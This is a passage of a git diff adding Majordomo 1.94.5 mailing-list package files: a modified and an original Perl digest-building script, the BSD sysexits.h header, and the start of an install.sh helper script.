$!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (sort(@files)) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + foreach $file (@processed) { + unlink($file); + } + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]."@".${whereami}; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",

      ); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/update/scripts/packages/majordomo-1.94.5/digest.orig b/update/scripts/packages/majordomo-1.94.5/digest.orig new file mode 100644 index 0000000..61680b3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/digest.orig @@ -0,0 +1,503 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (@files) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + unlink(@processed); + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",
      ); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/update/scripts/packages/majordomo-1.94.5/include/sysexits.h b/update/scripts/packages/majordomo-1.94.5/include/sysexits.h new file mode 100644 index 0000000..464cb11 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/include/sysexits.h @@ -0,0 +1,118 @@ +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)sysexits.h 8.1 (Berkeley) 6/2/93 + */ + +#ifndef _SYSEXITS_H_ +#define _SYSEXITS_H_ + +/* + * SYSEXITS.H -- Exit status codes for system programs. + * + * This include file attempts to categorize possible error + * exit statuses for system programs, notably delivermail + * and the Berkeley network. + * + * Error numbers begin at EX__BASE to reduce the possibility of + * clashing with other exit statuses that random programs may + * already return. The meaning of the codes is approximately + * as follows: + * + * EX_USAGE -- The command was used incorrectly, e.g., with + * the wrong number of arguments, a bad flag, a bad + * syntax in a parameter, or whatever. + * EX_DATAERR -- The input data was incorrect in some way. + * This should only be used for user's data & not + * system files. + * EX_NOINPUT -- An input file (not a system file) did not + * exist or was not readable. This could also include + * errors like "No message" to a mailer (if it cared + * to catch it). + * EX_NOUSER -- The user specified did not exist. This might + * be used for mail addresses or remote logins. + * EX_NOHOST -- The host specified did not exist. This is used + * in mail addresses or network requests. + * EX_UNAVAILABLE -- A service is unavailable. This can occur + * if a support program or file does not exist. This + * can also be used as a catchall message when something + * you wanted to do doesn't work, but you don't know + * why. + * EX_SOFTWARE -- An internal software error has been detected. + * This should be limited to non-operating system related + * errors as possible. + * EX_OSERR -- An operating system error has been detected. + * This is intended to be used for such things as "cannot + * fork", "cannot create pipe", or the like. It includes + * things like getuid returning a user that does not + * exist in the passwd file. + * EX_OSFILE -- Some system file (e.g., /etc/passwd, /etc/utmp, + * etc.) does not exist, cannot be opened, or has some + * sort of error (e.g., syntax error). + * EX_CANTCREAT -- A (user specified) output file cannot be + * created. + * EX_IOERR -- An error occurred while doing I/O on some file. + * EX_TEMPFAIL -- temporary failure, indicating something that + * is not really an error. In sendmail, this means + * that a mailer (e.g.) could not create a connection, + * and the request should be reattempted later. + * EX_PROTOCOL -- the remote system returned something that + * was "not possible" during a protocol exchange. + * EX_NOPERM -- You did not have sufficient permission to + * perform the operation. This is not intended for + * file system problems, which should use NOINPUT or + * CANTCREAT, but rather for higher level permissions. + */ + +#define EX_OK 0 /* successful termination */ + +#define EX__BASE 64 /* base value for error messages */ + +#define EX_USAGE 64 /* command line usage error */ +#define EX_DATAERR 65 /* data format error */ +#define EX_NOINPUT 66 /* cannot open input */ +#define EX_NOUSER 67 /* addressee unknown */ +#define EX_NOHOST 68 /* host name unknown */ +#define EX_UNAVAILABLE 69 /* service unavailable */ +#define EX_SOFTWARE 70 /* internal software error */ +#define EX_OSERR 71 /* system error (e.g., can't fork) */ +#define EX_OSFILE 72 /* critical OS file missing */ +#define EX_CANTCREAT 73 /* can't create (user) output file */ +#define EX_IOERR 74 /* input/output error */ +#define EX_TEMPFAIL 75 /* temp failure; user is invited to retry */ +#define EX_PROTOCOL 76 /* remote error in protocol */ +#define EX_NOPERM 77 /* permission denied */ +#define EX_CONFIG 78 /* configuration error */ + +#define EX__MAX 78 /* maximum listed value */ + +#endif /* !_SYSEXITS_H_ */ diff --git a/update/scripts/packages/majordomo-1.94.5/install.sh b/update/scripts/packages/majordomo-1.94.5/install.sh new file mode 100644 index 0000000..edfa862 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/install.sh @@ -0,0 +1,251 @@ +#! /bin/sh + +## (From INN-1.4, written by Rich Salz) +## $Revision: 1.1 $ +## A script to install files and directories. + +PROGNAME=`basename $0` + +## Paths to programs. CHOWN and WHOAMI are checked below. +CHOWN=chown +CHGRP=chgrp +CHMOD=chmod +CP=cp +LN=ln +MKDIR=mkdir +MV=mv +RM=rm +STRIP=strip +WHOAMI=whoami + +## Some systems don't support -x, so we have to use -f. +if [ ${CHOWN} = chown ] ; then + if [ -f /etc/chown ] ; then + CHOWN=/etc/chown + else + if [ -f /usr/etc/chown ] ; then + CHOWN=/usr/etc/chown + fi + fi +fi + +if [ ${WHOAMI} = whoami ] ; then + if [ -f /usr/ucb/whoami ] ; then + WHOAMI=/usr/ucb/whoami + fi +fi + +## Defaults. +CHOWNIT=false +CHGROUPIT=false +CHMODIT=false +STRIPIT=false +BACKIT=false +TOUCHIT=true +SAVESRC=false +ROOT=unknown + +## Process JCL. +MORETODO=true +while ${MORETODO} ; do + case X"$1" in + X-b) + BACKIT=true + BACKUP="$2" + shift + ;; + X-b*) + BACKIT=true + BACKUP=`expr "$1" : '-b\(.*\)'` + ;; + X-c) + SAVESRC=true + ;; + X-g) + GROUP="$2" + CHGROUPIT=true + shift + ;; + X-g*) + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + ;; + X-G) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + GROUP="$2" + shift + ${ROOT} && CHGROUPIT=true + ;; + X-G*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + fi + ;; + X-m) + MODE="$2" + CHMODIT=true + shift + ;; + X-m*) + MODE=`expr "$1" : '-m\(.*\)'` + CHMODIT=true + ;; + X-n) + TOUCHIT=false + ;; + X-o) + OWNER="$2" + CHOWNIT=true + shift + ;; + X-o*) + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + ;; + X-O) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + OWNER="$2" + shift + ${ROOT} && CHOWNIT=true + ;; + X-O*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + fi + ;; + X-s) + STRIPIT=true + ;; + X--) + shift + MORETODO=false + ;; + X-*) + echo "${PROGNAME}: Unknown flag $1" 1>&2 + exit 1 + ;; + *) + MORETODO=false + ;; + esac + ${MORETODO} && shift +done + +## Process arguments. +if [ $# -ne 2 ] ; then + echo "Usage: ${PROGNAME} [flags] source destination" + exit 1 +fi + +## Making a directory? +if [ X"$1" = X. ] ; then + DEST="$2" + if [ ! -d "${DEST}" ] ; then + ${MKDIR} "${DEST}" || exit 1 + fi + if ${CHOWNIT} ; then + ${CHOWN} 